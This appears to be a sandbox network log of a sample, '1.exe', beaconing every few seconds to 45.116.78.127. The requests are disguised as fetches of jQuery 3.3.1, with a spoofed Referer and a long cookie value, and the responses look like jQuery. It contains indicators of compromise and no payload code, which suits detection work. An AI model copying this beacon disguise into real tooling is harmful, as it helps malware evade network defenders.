2025-01-02 09:35:17 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:17 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:17 GMT Server: NetDNA-cache/2.2 Content-Length: 5671 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:17 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50013	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:19 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:19 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:19 GMT Server: NetDNA-cache/2.2 Content-Length: 5607 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:20 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50014	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:21 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:22 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:22 GMT Server: NetDNA-cache/2.2 Content-Length: 5607 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:22 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50015	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:23 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:24 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:24 GMT Server: NetDNA-cache/2.2 Content-Length: 5607 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:24 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50016	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:25 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:26 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:26 GMT Server: NetDNA-cache/2.2 Content-Length: 5607 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:26 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50017	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:27 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:28 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:28 GMT Server: NetDNA-cache/2.2 Content-Length: 5713 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:28 UTC	5713	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50018	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:29 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:30 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:30 GMT Server: NetDNA-cache/2.2 Content-Length: 5607 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:30 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50019	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:31 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:32 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:31 GMT Server: NetDNA-cache/2.2 Content-Length: 5692 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:32 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50020	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:34 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:34 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:34 GMT Server: NetDNA-cache/2.2 Content-Length: 5692 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:34 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50021	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:36 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:36 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:36 GMT Server: NetDNA-cache/2.2 Content-Length: 5713 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:36 UTC	5713	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50022	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:38 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:38 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:38 GMT Server: NetDNA-cache/2.2 Content-Length: 5692 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:38 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50023	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
